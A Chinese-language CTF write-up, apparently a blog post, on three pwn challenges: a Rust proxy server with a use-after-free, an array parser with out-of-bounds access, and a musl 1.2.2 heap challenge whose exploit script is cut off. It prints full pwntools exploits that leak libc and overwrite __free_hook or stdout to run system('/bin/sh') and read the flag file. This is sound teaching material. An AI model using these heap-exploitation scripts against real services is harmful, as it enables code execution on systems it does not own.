n1proxy0x00 题目信息0x01 题目分析代码审计漏洞点0x02 利用思路0x03 一些坑0x04 EXPn1array0x00 题目分析0x01 EXPn1proxy附件：https://pan.baidu.com/s/1JWEtWiyOmaJ4tzrVVXLZhA?pwd=ty6w （提取码：ty6w）0x00 题目信息we use safety rust to deploy a very safe proxy server!Notice:the docker can't restart automatically for some reason, please close the docker and start a new one if you find some trouble又是一个 Rust Pwn，比较巧的是比赛过程中获得了一血唯一解0x01 题目分析代码审计本题使用私有协议实现了一个支持 TCP, UDP, UNIX SOCK 三种底层协议的 proxy server，并且采用了 Rust 语言编码。源代码中多处使用 unsafe 代码块来直接调用 libc 中的函数；main 函数起始处将 ptmalloc 中的 arena 数量设置为了 1，主要是为了简化在并发情况下堆利用的难度；// make this easier :) unsafe { mallopt(libc::M_ARENA_MAX, 1); }主函数通过 handle_client 并行处理所有进入的连接；thread::spawn(move || { println!("New client connected"); handle_client(client_fd).unwrap_or_else(|err| { eprintln!("Error: {}", err); let err_msg = format!("error : {}", err); my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok(); }); unsafe { libc::close(client_fd) }; println!("Client disconnected") });handle_client 中主要通过 my_write 和 my_read 与客户端交互，并完成与客户端的密钥交换、会话密钥的协商，最后执行客户端指定的代理功能。需要注意的是，在一个会话中，只能调用一次代理功能的原语，整体的协议交互流程整理如下：(handshake) server --> client | HELLO_MSG: "n1proxy server v0.1" client --> server | CLIENT_HELLO: "n1proxy client v0.1" client --> server | conn_type server --> client | key_exchange_sign, key_exchange client --> server | client_verify_len, client_verify client --> server | client_key_len, client_key_n client --> server | client_key_len, client_key_e server --> client | new_session_sign, new_session[E_cli(session_key), E_cli(time)] (new session) client --> server | E_sess(pre_conn[type_u32, status_u32, signature]) server --> client | E_sess(ok_msg[ok_msg, key_exchange_sign]) (connection operations) switch status: Listen: client --> server | E_sess(conn_data[host_len, host, port, signature]) // new_unix_socket_listen(&target_host, target_port) server --> client | E_sess(resmsg[conn_fd, key_exchange_sign]) Close: client --> server | E_sess(conn_data[fd, signature]) // close(fd) server --> client | E_sess(resmsg[0, key_exchange_sign]) Conn: client --> server | E_sess(conn_data[host_len, host, port, signature]) // ProxyType::Tcp => my_connect(&target_host, target_port)?, // ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?, // ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?, server --> client | E_sess(resmsg[conn_fd, key_exchange_sign]) Recv: client --> server | E_sess(conn_data[fd, data_size_u64, signature]) // TCP: my_read(fd, data, len); // ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?, // ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?, server --> client | E_sess(resmsg[data[recv_data_len, recv_data], key_exchange_sign]) Send: client --> server | E_sess(conn_data[fd, data_size_u64, data, signature]) // TCP: my_write(fd, data, len); // ProxyType::Udp => my_sendto(target_fd, &send_data)?, // ProxyType::Sock => my_send_msg(target_fd, &send_data)?, server --> client | E_sess(resmsg[send_res, key_exchange_sign])handshake 部分会完成密钥的交换，并协商出一个 session_key，完成会话的初始化；会话建立后，new session 部分客户端先传递 type 和 statue 两个参数，type 用于指定代理所使用的协议类型，statue 决定使用什么功能原语；connection operations 部分，按照 status 分发进入不同的原语中：Listen：使用 unix:sock 在 /tmp/<hash_val> 目录下监听请求；Close：关闭连接池中的指定 fd，并完成相应的资源释放；Conn：指定 target_host:port 并使用 type 中指定的协议建立连接，并将 fd 加入连接池中；Recv：指定连接池中的 fd 并使用 type 中指定的协议接收 data_size 大小的数据并返回；Send：指定连接池中的 fd 并使用 type 中指定的协议发送 data_size 大小的数据并返回发送字节数。其它关键函数的实现请参考源代码。漏洞点漏洞位于指定 Recv 功能的 type 为 unix:sock 协议时所调用的 my_recv_msg 函数，但是该漏洞比较隐蔽，即使有一定 Rust 开发经验的人也会容易忽略（更何况我没有...）。不过通过对比 my_send_msg 和 my_recv_msg 两个函数实现，再结合一定的分析还是能够看出端倪的：#[inline(always)] fn my_send_msg(fd: i32, msg: &[u8]) -> Result<isize> { let mut iov = vec![iovec { iov_base: msg.as_ptr() as *mut _, iov_len: msg.len(), }]; let m = msghdr { msg_name: std::ptr::null_mut(), msg_namelen: 0, msg_iov: iov.as_mut_ptr(), msg_iovlen: iov.len(), msg_control: std::ptr::null_mut(), msg_controllen: 0, msg_flags: 0, }; let send_res = unsafe { sendmsg(fd, &m, 0) }; if send_res < 0 { return os_error!(); } Ok(send_res) } #[inline(always)] fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> { let mut recv_iov = [iovec { iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _, iov_len: recv_size, }]; let mut msg = msghdr { msg_name: std::ptr::null_mut(), msg_namelen: 0, msg_iov: recv_iov.as_mut_ptr(), msg_iovlen: 1, msg_control: std::ptr::null_mut(), msg_controllen: 0, msg_flags: 0, }; let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) }; if recv_sz < 0 { return os_error!(); } let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) }; Ok(res.to_vec()) }msghdr 是 Linux 下 sock 通信常用的一个结构体，其中较为关键的是 struct iovec * msg_iov 和 int msg_iovlen，他们设置了待使用缓冲区的队列头和长度。而 iovec 结构体由 iov_base 和 iov_len 组成，前者保存的是缓冲区指针，后者保存缓冲区大小来避免越界；#include<sys/socket.h> struct msghdr { void* msg_name ; socklen_t msg_namelen ; struct iovec * msg_iov ; int msg_iovlen ; void * msg_control ; socklen_t msg_controllen ; int msg_flags ; } ;回到这两个函数里面，my_send_msg 中， iov_base 设置的是 msg 的指针，msg 由上层函数申请并传入，其内容为客户端想要发送的数据；而 my_recv_msg 中，iov_base 通过 vec![0u8; recv_size].as_mut_ptr() as *mut _ 的方式初始化，这相当于在堆上开辟了一段 recv_size 大小的空间并转换为指针后赋值。这里有三个问题：as_mut_ptr() 方法会返回 vector 第一个元素的裸指针，Rust 无法跟踪或管理裸指针的生命周期；同时，vec![0u8; recv_size] 在一个类似闭包的环境中申请，一旦出了对应的代码块就会被释放，而由于使用了裸指针来引用这块内存，并且最后所有引用 iov_base 的地方都位于 unsafe 代码块中，编译器完全无法正确追踪和检查此处的生命周期问题；最后一个问题，slice::from_raw_parts 的大小参数使用了用户指定的 recv_size，而不是 recvmsg 函数的返回值——即实际从 fd 中读出的数据大小 recv_sz。如果 recv_size 小于 recv_sz 且 iov_base 残留未初始化数据的话，这可能会导致这部分未初始化数据被当作正常读出的数据返回给客户端。所以 my_recv_msg 函数可以等价为：使用一个 recv_size 大小的内存初始化 iov_base；释放这块内存得到悬空指针；在 unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存（UAF）；最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 申请一个同样大小的内存，并把此时 recv_iov[0].iov_base 指针上的值拷贝到这块内存中。0x02 利用思路因为漏洞点位于 my_recv_msg ，所以我们主要使用的功能原语是 unix:sock 协议下的 Send 和 Recv。为了使用这两个原语，还得先建立一个双工的管道。首先需要使用 Listen 功能监听一个 socket 文件，此时会话的线程会阻塞在 accept 的位置；然后在新进程中创建另一个会话调用 Conn 功能连接这个 socket 文件，此时会获得一个 fd，先前阻塞在 accept 的会话也会因为有新的连接请求而返回一个 fd。此时我们通过这两个 fd 就建立了一个双工管道，在管道的两端读写就可以分别调用 my_send_msg 和 my_recv_msg；由上面的分析可以知道，iov_base 可以完成 UAF 的读和写，但是此时没有别的漏洞泄露地址，而在向客户端泄露值之前先要完成一次从 recvmsg 读出数据的写，此时如果不控制好写入的值会导致 crash。例如此时写入的是 tcache chunk 的 next 指针，当进行后续 malloc 操作的时候可能就会发生未知错误；奇妙的风水：由于 IDA 逆向没搞清楚到底要在哪下断点，于是就在 UAF 的前后直接查看堆的状态来风水。经过测试得到这么一个组合，当 Send 发送 8 个 \x00 ，且 Recv 接收 0x200 大小的数据时，会有较大概率泄露出一个较稳定的 libc 地址且不 crash：题目使用的是 libc 2.27，所以第一时间考虑直接使用 tcache 覆写 __free_hook 的经典方法，但是具体怎么稳定地将值写上去折腾了老半天。因为 slice::from_raw_parts 的存在，在通过 UAF 覆盖 next 指针之后，程序会在同一个 bin 上申请相同大小的 chunk，并将 iov_base 指针处的值拷贝到其中。实际上如果将 next 覆盖为 __free_hook，那么 slice::from_raw_parts 直接申请到的就是 __free_hook 未知的内存。由于 iov_base 最开头保存的就是 next 指针的值，而 +0x8 的位置在重新 malloc 时会被清空，所以只能把要写入的值放在 +0x10 处，并将 next 指针修改为 __free_hook-0x10。这里还要将 tcache chunk + 0x8 的地方放一个可读可写的地址，来保证检查不出错（至于为什么不用控制为 heap+0x10 也没管太多，反正就是可以），最后再写 system 地址即可劫持 __free_hook 为 system；最后通过 Send 功能发送 b"cat /home/ctf/flag >&9\x00"，并使用同样 0x50 的大小 Recv 接收，即可将 flag 写出到响应给客户端的数据流中。0x03 一些坑Send 功能中，由于题目代码实现的原因，data 和 sig 如果拼接在一起发送的话会导致线程阻塞，也就是认为没有读完；如果分开发送的话，则对 data 有最小长度为 20 个字节的要求，这显然容易破坏一些想要的值；所以采取的方案是拼接 data 和 sig，但是留末尾两个字节分开发送，由于 session_key 使用带有 padding 的块密码加密数据，所以服务端是可以正常读出的，这样就可以保证 data 最短可发送 1 个字节，且不会一直阻塞。0x04 EXPfrom pwnlib.tubes.remote import remote from pwnlib.util.packing import p8, p16, p32, p64, u8, u16, u32, u64 import pwnlib.log as log from pwn import * import rsa from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5, AES from Crypto.Util.Padding import pad, unpad from enum import Enum import threading import time context.log_level = "debug" class ConnType(Enum): New = 0 Restore = 1 Renew = 2 Restart = 114514 Unknown = 3 class ProxyType(Enum): Tcp = 0 Udp = 1 Sock = 2 Unknown = 3 class ProxyStatus(Enum): Send = 0 Recv = 1 Conn = 2 Close = 3 Listen = 4 Unknown = 5 class Client(object): def __init__(self): self.server_key = None if os.path.exists("client_key.pem"): with open("client_key.pem", "rb") as f: self.client_key = RSA.import_key(f.read()) else: self.client_key = RSA.generate(1024) self.client_key.has_private() with open("client_key.pem", "wb") as f: f.write(self.client_key.export_key()) self.r = remote("chall-4a4554644c7a5349.sandbox.ctfpunk.com", 21496) self.state = 0 self.session_key = () def rsa_decrypt(self, data: bytes) -> bytes: if not self.client_key.has_private(): raise Exception("No private key") cipher = PKCS1_v1_5.new(self.client_key) decrypted = cipher.decrypt(data, None) return decrypted def rsa_encrypt(self, data: bytes): pass def aes_encrypt(self, data: bytes) -> bytes: key, iv = self.session_key cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = cipher.encrypt(pad(data, AES.block_size)) return encrypted_data def aes_decrypt(self, data: bytes): key, iv = self.session_key cipher = AES.new(key, AES.MODE_CBC, iv) try: decrypted_data = unpad(cipher.decrypt(data), AES.block_size) return decrypted_data except ValueError: raise Exception("Invalid padding") def send_client_hello(self): self.r.recvuntil("n1proxy server v0.1") self.r.send("n1proxy client v0.1") def send_conn_type(self, type): """ enum ConnType { New = 0, Restore = 1, Renew = 2, Restart = 114514, Unknown = 3, } """ self.r.send(p32(type)) def verify(self, data: bytes, signature: bytes): """ verify signature from server """ assert self.server_key is not None hash_obj = SHA256.new(data) verifier = pkcs1_15.new(self.server_key) try: verifier.verify(hash_obj, signature) log.success("Verify server key success") except (ValueError, TypeError): raise Exception("Invalid server key") def sign(self, data: bytes): """ sign data with client private key """ assert self.client_key.has_private() signer = pkcs1_15.new(self.client_key) hash_obj = SHA256.new(data) signature = signer.sign(hash_obj) return signature def get_server_pubkey(self): # key_exchange_sign -> # [ len(key_exchange_sign) (8 bytes) | key_exchange_sign (512 bytes) ] key_exchange_sign_total = 520 buf = self.r.recv(key_exchange_sign_total) key_exchange_sign_length = u64(buf[:8]) key_exchange_sign = buf[8:] assert(len(key_exchange_sign) == key_exchange_sign_length) # key exchange -> # [ sizeof(pubkey_n) (8 bytes) | sizeof(pubkey_e) (8 bytes) | pubkey_n (512 bytes) | pubkey_e (3 bytes)] key_exchange_total = 531 key_exchange_buf = self.r.recv(key_exchange_total) pubkey_n_length = u64(key_exchange_buf[:8]) pubkey_e_length = u64(key_exchange_buf[8:16]) pubkey_n = key_exchange_buf[16:528] pubkey_e = key_exchange_buf[528:] assert len(pubkey_n) == pubkey_n_length assert len(pubkey_e) == pubkey_e_length log.info("key_exchange_sign_length: " + str(key_exchange_sign_length)) pubkey_n = int.from_bytes(pubkey_n, "big") pubkey_e = int.from_bytes(pubkey_e, "big") if self.server_key is None: self.server_key = RSA.construct((pubkey_n, pubkey_e)) self.verify(key_exchange_buf, key_exchange_sign) log.success("pubkey_n: " + str(pubkey_n)) log.success("pubkey_e: " + str(pubkey_e)) def send_client_pubkey(self): """ * client_msg_len is 8bytes """ data_to_sign = len(self.client_key.n.to_bytes(512, 'big')).to_bytes(8, 'little') + \ self.client_key.n.to_bytes(512, 'big') + \ len(self.client_key.e.to_bytes(3, 'big')).to_bytes(8, 'little') + \ self.client_key.e.to_bytes(3, 'big') signature = self.sign(data_to_sign) packet = len(signature).to_bytes(8, 'little') + signature + data_to_sign self.r.send(packet) def get_session_key(self): """ session_key_sign [ len(sign) (8 bytes) | sign (512 bytes) ] session_key [ len(enc_key) (8 bytes) | enc_key (128 key) | len(enc_time) (8 bytes) | enc_time (128 bytes) ] """ session_key_sign_total = 520 session_key_sign_buf = self.r.recv(session_key_sign_total) session_key_sign_length = u64(session_key_sign_buf[:8]) session_key_sign = session_key_sign_buf[8:] session_key_total = 272 session_key_buf = self.r.recv(session_key_total) enc_key_length = u64(session_key_buf[:8]) enc_key = session_key_buf[8:136] enc_time_length = u64(session_key_buf[136:144]) enc_time = session_key_buf[144:272] assert len(session_key_sign) == session_key_sign_length self.verify(session_key_buf, session_key_sign) assert len(enc_key) == enc_key_length assert len(enc_time) == enc_time_length log.info("enc_key_length: " + str(enc_key_length)) log.info("enc_time_length: " + str(enc_time_length)) session_key = self.rsa_decrypt(enc_key) time_stamp = self.rsa_decrypt(enc_time) time_stamp = int.from_bytes(time_stamp, 'big') assert len(session_key) == 48 key = session_key[:32] iv = session_key[32:] assert len(key) == 32 assert len(iv) == 16 self.session_key = (key, iv) def recv_ok_msg(self): enc_data_len = 528 enc_data = self.r.recv(enc_data_len) data = self.aes_decrypt(enc_data) assert len(data) == 524 ok_msg = data[:4] sign_len = u64(data[4:12]) sign = data[12:] assert len(sign) == sign_len assert len(sign) == 512 self.verify(ok_msg, sign) log.success(f"recv ok msg : {ok_msg}") def send_pre_conn(self, proxy_type, proxy_status): data = p32(proxy_type) + p32(proxy_status) sig = self.sign(data) full = data + sig enc_data = self.aes_encrypt(full) self.r.send(enc_data) def proxy_listen(self, hostlen, host, port): self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Listen.value) self.recv_ok_msg() assert len(host) == hostlen hostlen = p32(hostlen) host = host.encode() port = p16(port) data = hostlen + host + port sig = self.sign(data) full = data + sig enc_data = self.aes_encrypt(full) self.r.send(enc_data) # server's listen thread will block because of waiting accept # recv conn fd recv_enc_data_len = 528 recv_enc_data = self.r.recv(recv_enc_data_len) recv_data = self.aes_decrypt(recv_enc_data) assert len(recv_data) == 516 sig = recv_data[4:] self.verify(recv_data[:4], sig) conn_fd = u32(recv_data[:4]) log.success(f"recv listen fd: {conn_fd}") return conn_fd def proxy_conn(self, hostlen, host, port) -> int: self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Conn.value) self.recv_ok_msg() hostlen = p32(hostlen) host = host.encode() port = p16(port) data = hostlen + host + port sig = self.sign(data) full = data + sig enc_data = self.aes_encrypt(full) self.r.send(enc_data) # recv conn fd recv_enc_data_len = 528 recv_enc_data = self.r.recv(recv_enc_data_len) recv_data = self.aes_decrypt(recv_enc_data) assert len(recv_data) == 516 sig = recv_data[4:] self.verify(recv_data[:4], sig) conn_fd = u32(recv_data[:4]) log.success(f"recv conn fd: {conn_fd}") return conn_fd def proxy_send(self, conn_fd, data_size_u64, data): self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Send.value) self.recv_ok_msg() assert len(data) == data_size_u64 conn_fd = p32(conn_fd) data_size_u64 = p64(data_size_u64) data = conn_fd + data_size_u64 + data sig = self.sign(data) #full = data + sig #enc_data = self.aes_encrypt(full) #self.r.send(enc_data) self.r.send(self.aes_encrypt(data+sig[:-2])) self.r.send(self.aes_encrypt(sig[-2:])) # recv send result recv_enc_data_len = 528 recv_enc_data = self.r.recv(recv_enc_data_len) recv_data = self.aes_decrypt(recv_enc_data) sig = recv_data[8:] self.verify(recv_data[:8], sig) send_res = u64(recv_data[:8]) log.success(f"send_res: {send_res}") return send_res def proxy_recv(self, conn_fd, data_size_u64): self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Recv.value) self.recv_ok_msg() conn_fd = p32(conn_fd) data_size_u64 = p64(data_size_u64) data = conn_fd + data_size_u64 sig = self.sign(data) self.r.send(self.aes_encrypt(data+sig)) recv_enc_data = self.r.recv() recv_data = self.aes_decrypt(recv_enc_data) data_len = u64(recv_data[:8]) data = recv_data[8:8+data_len] sig = recv_data[8+data_len:] self.verify(recv_data[:8+data_len], sig) log.success(f"recv_data: {data}") return data def handshake(self): self.send_client_hello() self.send_conn_type(0x0) self.get_server_pubkey() self.send_client_pubkey() self.get_session_key() def do_close(self): self.r.close() fd_1 = -1 fd_2 = -1 def listen_task(): global fd_1 c = Client() c.handshake() fd = c.proxy_listen(0x8, "hostname", 1213) fd_1 = fd c.do_close() def exp(): global fd_1 global fd_2 libc = ELF("./lib/libc.so.6") threading.Thread(target=listen_task).start() time.sleep(2) c1 = Client() c1.handshake() fd_2 = c1.proxy_conn(0x8, "hostname", 1213) c1.do_close() print(f"fd_1: {fd_1}, fd_2: {fd_2}") c2 = Client() c2.handshake() c2.proxy_send(fd_2, 0x8, b"\x00"*0x8) c2.do_close() # 0x5555556b4010 # 0x200 -> 0x7ffff758ac00 # 0x450 -> 0x7ffff758b290 # 0x410 -> 0x7ffff758b0b0 | 0x5555556cb660 #pause() c3 = Client() c3.handshake() leak_data = c3.proxy_recv(fd_1, 0x200) tmp_leak = u64(leak_data[:0x8]) libc_leak = u64(leak_data[0x8:0x10]) libc_base = libc_leak - 0x3ebca0 system = libc_base + libc.symbols['system'] __free_hook = libc_base + libc.symbols['__free_hook'] binsh = libc_base + next(libc.search(b"/bin/sh\x00")) print("tmp_leak:", hex(tmp_leak)) print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("__free_hook:", hex(__free_hook)) print("binsh:", hex(binsh)) c3.do_close() #pause() c4 = Client() c4.handshake() c4.proxy_send(fd_2, 0x18, p64(__free_hook-0x10)+p64(__free_hook-0x20)+p64(system)) c4.do_close() c5 = Client() c5.handshake() read_data = c5.proxy_recv(fd_1, 0x50) print("read_data:", read_data) c5.do_close() c6 = Client() c6.handshake() cmd = b"cat /home/ctf/flag >&9\x00" c6.proxy_send(fd_2, len(cmd), cmd) c6.do_close() c7 = Client() c7.handshake() read_data = c7.proxy_recv(fd_1, 0x50) print("read_data:", read_data) c7.do_close() if __name__ == "__main__": exp()n1array0x00 题目分析挺简单的，主要的工作量在于数据结构的逆向，但是居然能抢个一血...题目大体维护了一个hash表，每个表项对应一个array。每个array有一个 name 用于索引，有一个 type 数组和 value 数组。理论上这两个数组应该等长。用户在输入的时候，可以输入三种 Atom（name，type，value），顺序不限，次数不限，理论上后输入的会覆盖前输入的，每种 Atom 的结构如下：value atom: | u32 len | u32 type | u32 is_def | u32 default_val | u32 nelts | u32 values * nelts | type atom : | u32 len | u32 type | u32 nelts | u8 type * nelts | name atom : | u32 len | u32 type | u32 name_len | char[name_len] name |value 有两种模式，在输入的时候可以选择：正常数组，用户自己输入每一位的值；default数组，用一个输入的位（记为 is_def）来标记，如果置位，则认为这个数组的所有值都是用户输入的 default 值。且用户无需在后面输入每一位的值，即这个输入占空间很短。parse_value() 中，当先输入一个正常的 value 数组（记为value1），再输入一个 default 数组（记为value2），可以发现，array->value.buf 指向第一个输入的 value1_atom.buf ，但是 array->num 会被置为第二个输入的 value1_atom.nelts ，这就导致了越界读写的风险；那么题目就简单了，首先通过溢出读，利用 unsorted_bin 来泄露libc地址，然后是溢出写来劫持 tcache 控制 __free_hook。由于读写地址只能在不对齐的 4 字节中进行，所以需要额外处理一下。0x01 EXPfrom pwn import * context.log_level = "debug" #p = process(["./ld-2.31.so", "--preload", "./libc-2.31.so", "./pwn"]) p = remote("chall-6b73445766645053.sandbox.ctfpunk.com", 22258) libc = ELF("./libc-2.31.so") #p = process(["./pwn"]) def value_atom(nelts, value:list, is_def=False, def_val=0xdeadbeef): # len | type | is_def | def_val | nelts | value value_data = b"".join([p32(i) for i in value]) tmp = p32(1) + p32(1 if is_def else 0) + p32(def_val) + p32(nelts) + value_data tmp = p32(4 + len(tmp)) + tmp return tmp def type_atom(nelts, type:list): # len | type | nelts | type type_data = b"".join([p8(_t) for _t in type]) tmp = p32(2) + p32(nelts) + type_data tmp = p32(4 + len(tmp)) + tmp return tmp def name_atom(name:bytes): # len | type | name_len | name tmp = p32(3) + p32(len(name)) + name tmp = p32(4 + len(tmp)) + tmp return tmp def input_data(atom_data:bytes): p.sendlineafter(b"cmd>>", b"0") p.recvuntil(b"input data of array atom>>") atom_data = p32(0) + atom_data p.send(p32(4 + len(atom_data))) p.send(atom_data) def print_array(arr_name): p.sendlineafter(b"cmd>>", b"1") p.recvuntil(b"input name>>") p.sendline(arr_name) def remove(arr_name): p.sendlineafter(b"cmd>>", b"2") p.recvuntil(b"input name>>") p.sendline(arr_name) def edit_value(arr_name, idx, new_val): p.sendlineafter(b"cmd>>", b"3") p.recvuntil(b"input name>>") p.sendline(arr_name) p.recvuntil(b"Input Index: \n") p.sendline(str(idx).encode()) p.recvuntil(b"Input New Val: \n") p.sendline(str(new_val).encode()) def edit_type(arr_name, idx, new_type): p.sendlineafter(b"cmd>>", b"4") p.recvuntil(b"input name>>") p.sendline(arr_name) p.recvuntil(b"Input Index: \n") p.sendline(str(idx).encode()) p.recvuntil(b"Input New Type: \n") p.sendline(str(new_type).encode()) def add(arr_name, idx1, idx2): p.sendlineafter(b"cmd>>", b"5") p.recvuntil(b"input name>>") p.sendline(arr_name) p.recvuntil(b"Input Index1: \n") p.sendline(str(idx1).encode()) p.recvuntil(b"Input Index1: \n") p.sendline(str(idx2).encode()) # 0x555555554000+0x5030 # 0x000055555555a2a0 def exp(): #gdb.attach(p, "b *0x7ffff7fc3000+0x16A4\nc\n") paylaod = type_atom(256, [2]*256) + name_atom(b"AAAA\x00") + value_atom(1, [0xabcd]) + value_atom(256, [], True, 0xdeadbeef) input_data(paylaod) paylaod = type_atom(256, [2]*256) + name_atom(b"BBBB\x00") + value_atom(256, [0xaaaa]*256) input_data(paylaod) remove(b"BBBB") print_array(b"AAAA") p.recvuntil(b"array AAAA: ") arr_data = p.recvuntil(b"]") arr_data = arr_data.replace(b" ", b",").decode() arr = eval(arr_data) print("get arr: ", arr) #print(hex(arr[13])) #print(hex(arr[12])) #print(hex(arr[11])) heap_leak = ((arr[13] & 0xff) << 8*5) | (arr[12] << 8) | ((arr[11] & 0xff000000) >> 8*3) libc_leak = ((arr[47] & 0xff) << 8*5) | (arr[46] << 8) | ((arr[45] & 0xff000000) >> 8*3) print("heap_leak:", hex(heap_leak)) print("libc_leak:", hex(libc_leak)) libc_base = libc_leak - 0x1ecbe0 system = libc_base + libc.sym["system"] free_hook = libc_base + libc.sym["__free_hook"] binsh = libc_base + next(libc.search(b"/bin/sh")) print("libc_base:", hex(libc_base)) print("free_hook:", hex(free_hook)) paylaod = type_atom(1, [2]*1) + name_atom(b"CCCC\x00") + value_atom(1, [0xaaaa]*1) input_data(paylaod) paylaod = type_atom(1, [2]*1) + name_atom(b"DDDD\x00") + value_atom(1, [0xaaaa]*1) input_data(paylaod) remove(b"CCCC") remove(b"DDDD") print_array(b"AAAA") p.recvuntil(b"array AAAA: ") arr_data = p.recvuntil(b"]") arr_data = arr_data.replace(b" ", b",").decode() arr = eval(arr_data) print("get arr: ", arr) part1 = arr[105] part2 = arr[106] part3 = arr[107] print("part1:", hex(part1)) print("part2:", hex(part2)) print("part3:", hex(part3)) tmp_hook = free_hook-8 w_part1 = (part1 & 0x00ffffff) | ((tmp_hook & 0xff) << 8*3) w_part2 = (tmp_hook & 0x00ffffffff00) >> 8 w_part3 = (part3 & 0xffffff00) | ((tmp_hook & 0xff0000000000) >> 8*5) print("w_part1:", hex(w_part1)) print("w_part2:", hex(w_part2)) print("w_part3:", hex(w_part3)) edit_value(b"AAAA", 105, w_part1) edit_value(b"AAAA", 106, w_part2) edit_value(b"AAAA", 107, w_part3) paylaod = type_atom(1, [2]*1) + name_atom(b"/bin/sh;"+p64(system)) + value_atom(1, [0xaaaa]*1) input_data(paylaod) #paylaod = type_atom(1, [2]*1) + name_atom(p64(system)) + value_atom(1, [0xaaaa]*1) #input_data(paylaod) print("free_hook:", hex(free_hook)) remove(b"/bin/sh;"+p64(system)) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()
[starCTF 2022] BabyNote - musl 1.2.2 pwn
前言思路：Notice:EXP:参考资料：前言不算很复杂的musl堆题，但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc的内存管理器，musl 1.2.2则采用了：malloc_context->meta_arena->meta->gropu (chunks)这样的多级结构，并且free掉的chunk有bitmap直接管理（而不是放入某些链表中）。但是meta依然存在无检查的unlink操作，所以大部分攻击的思路仍然是构造出fake meta，然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了：可以尝试写rop到栈上可以尝试伪造 fake stdout 并将指针写到 stdout_used，fake stdout 的头部可以写为"/bin/sh\x00"，write指针写为 system 指针，这样当 exit() 时就会触发system("/bin/sh")调用可以参考别的博主写 _aexit() 中相关函数指针的方法思路：堆风水+UAF把一个note构造到另一个note的note->content域下，find功能泄露出elf_base和初始堆地址（musl的初始堆地址在二进制文件的地址空间中）再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note，构造指针进行任意地址泄露，重复该步骤两次分别泄露libc地址和__malloc+context中的secret（用于后序步骤伪造）同样借助UAF构造一个fake note，并从一个页对齐的位置顺序构造fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE，fake note的next指向fake_chunk然后构造fake_meta的prev和next使得freefake_note->next之后的unlink将fake IO_FILE的地址写入到stdout_user中由于__IO_FILE中存在如下指针：size_t (*write)(FILE *, const unsigned char *, size_t);，只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)来getshell详细的实现细节可以参考[2]中的描述Notice:为了保证和远程环境最大程度相似，建议在调试前cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so，如果怕覆盖掉本地的musl可以先mv备份开启和关闭ASLR会导致某个常量发生变化，调试的时候记得手动修改一下（见注释）为了方便调试，可以下载一份musl-1.2.2源码然后用dir ./musl-1.2.2/src/malloc和dir ./musl-1.2.2/src/malloc/mallocng加载malloc相关的调试符号（在free的时候带源码调试可以很方便检查程序流卡在哪个assert）EXP:from pwn import * context.log_level = "debug" # 调试本地环境记得一定要拷贝到这个路径，用ld的启动方式vmmap会很tm怪！ # cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so p = process("./babynote") p = remote("123.60.76.240", 60001) def add(name, content, size=-1): p.sendlineafter(b"option: ", b"1") if size >= 0: p.sendlineafter(b"name size: ", str(size).encode()) else: p.sendlineafter(b"name size: ", str(len(name)).encode()) p.sendafter(b"name: ", name) p.sendlineafter(b"note size: ", str(len(content)).encode()) p.sendafter(b"note content: ", content) def find(name, size=-1): p.sendlineafter(b"option: ", b"2") if size >= 0: p.sendlineafter(b"name size: ", str(size).encode()) else: p.sendlineafter(b"name size: ", str(len(name)).encode()) p.sendafter(b"name: ", name) def delete(name): p.sendlineafter(b"option: ", b"3") p.sendlineafter(b"name size: ", str(len(name)).encode()) p.sendafter(b"name: ", name) def forget(): p.sendlineafter(b"option: ", b"4") def exit(): p.sendlineafter(b"option: ", b"5") def exp(): ## ------------ leak addr info ------------ for i in range(3): add(bytes([0x41+i])*0xc, bytes([0x61+i])*0x28) # A-C for i in range(3): find(b"x"*0x28) forget() add(b"E"*0xc, b"e"*0x28) # E uaf # -- new group add(b"F"*0xc, b"f"*0x28) # F hold E delete(b"E"*0xc) add(b"eqqie", b"x"*0x38) # occupy find(b"E"*0xc) p.recvuntil(b"0x28:") leak_heap = 0 leak_elf = 0 for i in range(8): leak_heap += int(p.recv(2).decode(), 16) << (i*8) for i in range(8): leak_elf += int(p.recv(2).decode(), 16) << (i*8) elf_base = leak_elf - 0x4fc0 heap_base = elf_base print("leak_heap:", hex(leak_heap)) print("leak_elf:", hex(leak_elf)) print("heap_base:", hex(heap_base)) print("elf_base:", hex(elf_base)) ## ------------ leak libc addr ------------ read_got = elf_base+0x3fa8 add(b"Y"*0xc, b"y"*0xc) # occupy forget() # fresh all add(b"A"*0x4, b"a"*0x4) add(b"B"*0x4, b"b"*0x4) delete(b"A"*0x4) for i in range(7): find(b"x"*0x28) fake_note = p64(heap_base+0x4cf0) + p64(read_got) # name('aaaa'), content(read@got) fake_note += p64(4) + p64(8) # name_size, content_size fake_note += p64(0) # next->null add(b"C"*0x4, fake_note) # C occupy last chunk find(b"a"*4) p.recvuntil(b"0x8:") read_got = b"" for i in range(8): read_got += p8(int(p.recv(2).decode(), 16)) read_got = u64(read_got) print("read_got:", hex(read_got)) libc_base = read_got - 0x74f10 stdout_used = libc_base + 0xb43b0 print("libc_base:", 